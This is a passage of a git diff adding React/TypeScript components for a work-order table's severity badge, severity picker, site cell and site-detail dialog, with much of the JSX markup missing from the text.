    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/severity-badge.tsx b/src/app/(protected)/workorders/_components/list/table/cells/severity-badge.tsx new file mode 100644 index 00000000..18e3092a --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/severity-badge.tsx @@ -0,0 +1,39 @@ +import { Tooltip } from "@mui/material"; + +import { + SEVERITY_LEVELS, + SEVERITY_TOKEN_COLOR, + type WorkOrderSeverity, +} from "@/domain/work-orders/types/work-order-severity"; + +type SeverityBadgeProps = { + severity: WorkOrderSeverity; + onClick?: (e: React.MouseEvent) => void; +}; + +export function SeverityBadge({ severity, onClick }: SeverityBadgeProps) { + const lvl = SEVERITY_LEVELS[severity]; + const color = SEVERITY_TOKEN_COLOR[lvl.token]; + const title = `${lvl.description} · ${lvl.deadline} · After hours: ${lvl.afterHours}`; + + return ( + + + {lvl.label} + + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/severity-options-list.tsx b/src/app/(protected)/workorders/_components/list/table/cells/severity-options-list.tsx new file mode 100644 index 00000000..d78961af --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/severity-options-list.tsx @@ -0,0 +1,86 @@ +import { Text } from "@/components/ui/text"; +import { + SEVERITY_LEVELS, + SEVERITY_TOKEN_COLOR, + WORK_ORDER_SEVERITIES, + type WorkOrderSeverity, +} from "@/domain/work-orders/types/work-order-severity"; + +type SeverityOptionsListProps = { + value: WorkOrderSeverity | null; + onSelect: (severity: WorkOrderSeverity) => void; +}; + +export function SeverityOptionsList({ value, onSelect }: SeverityOptionsListProps) { + return ( +
    + {WORK_ORDER_SEVERITIES.map((n) => { + const lvl = SEVERITY_LEVELS[n]; + const color = SEVERITY_TOKEN_COLOR[lvl.token]; + const selected = value === n; + return ( + + ); + })} +
    + ); +} + +type SeverityFieldProps = { + value: WorkOrderSeverity | null; + onSelect: (severity: WorkOrderSeverity) => void; +}; + +export function SeverityField({ value, onSelect }: SeverityFieldProps) { + return ( +
    + + Severity (from APM) + + + Transcribe the severity already assigned on the client's ticket — this is not a + judgment call. + + +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/site-cell.tsx b/src/app/(protected)/workorders/_components/list/table/cells/site-cell.tsx new file mode 100644 index 00000000..939b4ce4 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/site-cell.tsx @@ -0,0 +1,90 @@ +import { useState } from "react"; +import { MapPin } from "lucide-react"; +import { formatSitePlace } from "@/domain/locations/mappers/location-mapper"; +import type { LocationOption } from "@/domain/work-orders/types/work-order"; +import { HighlightText } from "./highlight-text"; +import { HoverChevron } from "./hover-chevron"; +import { SiteDialog, type SitePatch } from "./site-dialog"; + +type SiteCellProps = { + value: string; + location: string; + locationId: string | number; + city?: string; + state?: string; + pocName?: string; + pocPhone?: string; + pocNotes?: string; + sites: LocationOption[]; + q?: string; + onSave: (patch: SitePatch) => void; +}; + +export function SiteCell({ + value, + location, + locationId, + city, + state, + pocName, + pocPhone, + pocNotes, + sites, + q, + onSave, +}: SiteCellProps) { + const [open, setOpen] = useState(false); + const place = formatSitePlace(city, state, location); + + return ( + <> + + + + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-detail-panel.tsx b/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-detail-panel.tsx new file mode 100644 index 00000000..07b1bb94 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-detail-panel.tsx @@ -0,0 +1,79 @@ +import { ExternalLink, Mail, MapPin, Phone } from "lucide-react"; +import { Detail } from "@/app/(protected)/workorders/_components/wizard/wizard-labels"; +import { Text } from "@/components/ui/text"; +import type { Location } from "@/domain/locations/types/location"; +import { buildMapsUrl } from "@/app/(protected)/workorders/_components/list/table/cells/site-dialog-helpers"; + +type SiteDialogDetailPanelProps = { + locationDetail: Location | undefined; + locationDetailLoading: boolean; + locationDetailError: boolean; + addressPreview: string; + fallbackLabel: string; +}; + +function SiteDialogSkeleton() { + return ( +
    + + +
    + ); +} + +export function SiteDialogDetailPanel({ + locationDetail, + locationDetailLoading, + locationDetailError, + addressPreview, + fallbackLabel, +}: SiteDialogDetailPanelProps) { + return ( +
    + {locationDetail ? ( + <> + + {Boolean(locationDetail.phone) && ( + + )} + {Boolean(locationDetail.contactEmail) && ( + + )} + {Boolean(addressPreview) && ( + + Open in Google Maps + + )} + + ) : ( + <> + + {locationDetailLoading && } + {locationDetailError && ( + + Could not load full site details. City and site code above are still available. + + )} + + )} +
    + ); +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-helpers.ts b/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-helpers.ts new file mode 100644 index 00000000..e28e1f10 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-helpers.ts @@ -0,0 +1,45 @@ +import type { Location } from "@/domain/locations/types/location"; +import { formatLocationAddressPreview } from "@/domain/locations/mappers/location-mapper"; +import { resolveSiteCode } from "@/domain/work-orders/mappers/work-order-board-mapper"; +import type { LocationOption } from "@/domain/work-orders/types/work-order"; + +export function extractLocationLabel(site: LocationOption): string { + const place = [site.city, site.state].filter(Boolean).join(", "); + if (place) { + return place; + } + const name = site.name; + for (const sep of [" · ", " — ", " - "]) { + const idx = name.indexOf(sep); + if (idx > 0) { + return name.slice(idx + sep.length).trim(); + } + } + return name; +} + +/** Board rows often have siteCode but no locationId — resolve via sites list. */ +export function resolveLocationId( + locationId: string | number, + siteCode: string, + sites: LocationOption[], +): string { + const idStr = locationId !== "" && locationId != null ? String(locationId) : ""; + if (idStr && sites.some((s) => String(s.id) === idStr)) { + return idStr; + } + if (idStr && sites.length === 0) { + return idStr; + } + const code = siteCode.trim().toLowerCase(); + if (!code) { + return idStr; + } + const byCode = sites.find((s) => resolveSiteCode(s).toLowerCase() === code); + return byCode ? String(byCode.id) : idStr; +} + +export function buildMapsUrl(location: Location): string { + const query = formatLocationAddressPreview(location); + return `https://www.google.com/maps/search/?api=1&query=${encodeURIComponent(query)}`; +} diff --git a/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-poc-fields.tsx b/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-poc-fields.tsx new file mode 100644 index 00000000..145250c2 --- /dev/null +++ b/src/app/(protected)/workorders/_components/list/table/cells/site-dialog-poc-fields.tsx @@ -0,0 +1,47 @@ +import { + DLG_INPUT_CLS, + DLG_INPUT_STYLE, +} from "@/app/(protected)/workorders/_components/wizard/wizard-input-styles"; +import { Text } from "@/components/ui/text"; +import { FieldLabel } from "@/app/(protected)/workorders/_components/list/table/cells/dialog-field-label"; + +type SiteDialogPocFieldsProps = { + pocName: string; + pocPhone: string; + pocNotes: string; +}; + +export function SiteDialogPocFields({ pocName, pocPhone, pocNotes }: SiteDialogPocFieldsProps) { + return ( +
    + Point of Contact + + Shown from site/work order records. Board edit saves site code only. + +
    + + +